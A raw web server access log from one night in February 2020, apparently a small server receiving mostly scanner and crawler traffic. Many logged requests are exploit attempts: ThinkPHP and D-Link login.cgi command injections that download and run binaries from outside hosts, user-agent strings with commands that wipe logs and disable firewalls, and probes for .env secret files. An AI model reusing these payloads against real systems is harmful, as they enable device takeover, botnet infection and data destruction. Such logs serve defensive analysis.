185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:48 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:48 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:48 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:48 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:48 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:48 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
175.29.187.62 - - [19/Feb/2020:02:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
182.93.49.26 - - [19/Feb/2020:02:03:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
71.6.232.4 - - [19/Feb/2020:02:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
46.236.76.95 - - [19/Feb/2020:02:16:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.52.212.249 - - [19/Feb/2020:02:16:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.215.212.192 - - [19/Feb/2020:02:18:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
192.241.206.126 - - [19/Feb/2020:02:20:05 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.126 - - [19/Feb/2020:02:20:21 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.126 - - [19/Feb/2020:02:20:21 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.126 - - [19/Feb/2020:02:20:28 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
37.104.143.226 - - [19/Feb/2020:02:21:34 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:36 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:37 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:39 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:40 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:42 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:43 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.104.143.226 - - [19/Feb/2020:02:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
192.241.206.126 - - [19/Feb/2020:02:24:16 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.126 - - [19/Feb/2020:02:24:32 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.126 - - [19/Feb/2020:02:24:51 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
39.108.70.175 - - [19/Feb/2020:02:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.69.229.39 - - [19/Feb/2020:02:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
92.254.232.117 - - [19/Feb/2020:02:30:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [19/Feb/2020:02:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
35.225.21.27 - - [19/Feb/2020:02:32:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.168.249.170 - - [19/Feb/2020:02:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.6 - - [19/Feb/2020:02:36:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
81.201.63.233 - - [19/Feb/2020:02:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
78.160.13.79 - - [19/Feb/2020:02:45:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.14.224.122 - - [19/Feb/2020:02:52:38 +0100] "GET /public/index.php?s=/Index/%09hink%07pp/invokefunction&function=call_user_func_array&vars%5B0%5D=shell_exec&vars%5B1%5D%5B%5D=curl%20cd%20/tmp;%20wget%20http://45.14.224.115/Entity.mips;%20chmod%20777%20*;%20./Entity.mips%20yarn;%20rm%20-rf%20* HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
156.238.167.18 - - [19/Feb/2020:02:58:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.216.96.245 - - [19/Feb/2020:02:59:17 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.245 - - [19/Feb/2020:02:59:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
120.193.219.42 - - [19/Feb/2020:02:59:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
148.71.44.68 - - [19/Feb/2020:03:16:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.188.210.101 - - [19/Feb/2020:03:17:26 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [19/Feb/2020:03:18:36 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [19/Feb/2020:03:20:29 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [19/Feb/2020:03:21:55 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
194.143.151.101 - - [19/Feb/2020:03:25:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
81.215.212.192 - - [19/Feb/2020:03:27:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
119.196.108.183 - - [19/Feb/2020:03:39:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.58.7.106 - - [19/Feb/2020:03:52:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.148.227 - - [19/Feb/2020:03:52:24 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
151.41.234.171 - - [19/Feb/2020:03:52:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.79.192.54 - - [19/Feb/2020:03:53:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.11.136.2 - - [19/Feb/2020:03:56:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
165.22.92.93 - - [19/Feb/2020:03:57:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
165.22.92.93 - - [19/Feb/2020:03:57:54 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
188.15.23.69 - - [19/Feb/2020:04:03:37 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
192.241.198.223 - - [19/Feb/2020:04:06:36 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:07:39 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:08:50 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:09:18 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:09:34 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:10:58 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:11:17 +0100] "\x16\x03\x01" 501 318 "-" "-"
128.14.133.58 - - [19/Feb/2020:04:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
192.241.198.223 - - [19/Feb/2020:04:12:37 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.223 - - [19/Feb/2020:04:12:46 +0100] "\x16\x03\x01" 501 318 "-" "-"
195.158.95.4 - - [19/Feb/2020:04:13:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
192.241.198.223 - - [19/Feb/2020:04:13:41 +0100] "\x16\x03\x01" 501 318 "-" "-"
171.101.30.108 - - [19/Feb/2020:04:14:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
121.23.20.8 - - [19/Feb/2020:04:14:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
66.249.64.41 - - [19/Feb/2020:04:15:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
221.160.177.34 - - [19/Feb/2020:04:15:52 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
220.116.93.35 - - [19/Feb/2020:04:17:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:17:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:17:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:17:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:18:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:04:20:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:04:20:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:04:20:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:04:20:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [19/Feb/2020:04:21:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.189.123.16 - - [19/Feb/2020:04:23:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
176.120.215.69 - - [19/Feb/2020:04:25:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
151.54.213.41 - - [19/Feb/2020:04:35:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
159.192.219.182 - - [19/Feb/2020:04:38:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
164.160.226.122 - - [19/Feb/2020:04:39:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
37.70.128.15 - - [19/Feb/2020:04:42:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.166.36.127 - - [19/Feb/2020:04:42:58 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
78.186.153.65 - - [19/Feb/2020:04:45:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.186.153.65 - - [19/Feb/2020:04:45:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
167.61.86.137 - - [19/Feb/2020:04:48:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
119.196.108.183 - - [19/Feb/2020:04:48:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.120.220.243 - - [19/Feb/2020:04:49:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
141.8.189.150 - - [19/Feb/2020:04:59:13 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [19/Feb/2020:04:59:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
220.116.93.35 - - [19/Feb/2020:04:59:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:59:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:59:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:04:59:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [19/Feb/2020:05:00:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
110.9.148.211 - - [19/Feb/2020:05:04:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.130.118.120 - - [19/Feb/2020:05:06:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.116.87.117 - - [19/Feb/2020:05:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.170.14.228 - - [19/Feb/2020:05:09:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.177.99.233 - - [19/Feb/2020:05:11:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
188.233.96.190 - - [19/Feb/2020:05:11:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
153.202.132.103 - - [19/Feb/2020:05:12:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.190.184.145 - - [19/Feb/2020:05:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.233.96.190 - - [19/Feb/2020:05:14:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.237.76.8 - - [19/Feb/2020:05:14:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
125.161.138.70 - - [19/Feb/2020:05:14:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.201.179.21 - - [19/Feb/2020:05:19:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.158.166 - - [19/Feb/2020:05:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
